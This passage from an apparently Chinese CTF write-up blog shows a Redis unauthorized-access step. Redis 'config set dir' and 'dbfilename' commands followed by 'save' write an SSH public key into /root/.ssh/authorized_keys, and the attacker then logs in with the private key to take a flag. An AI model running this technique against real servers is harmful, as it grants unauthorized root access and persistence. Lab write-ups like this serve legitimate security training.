5.将ssh_key保存进 SSH 公钥认证的授权密钥列表/root/.ssh/authorized_keys:

config set dir /root/.ssh

config set dbfilename authorized_keys

save

在这里插入图片描述

用私钥id_rsa来ssh连接,获取第三部分flag

在这里插入图片描述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值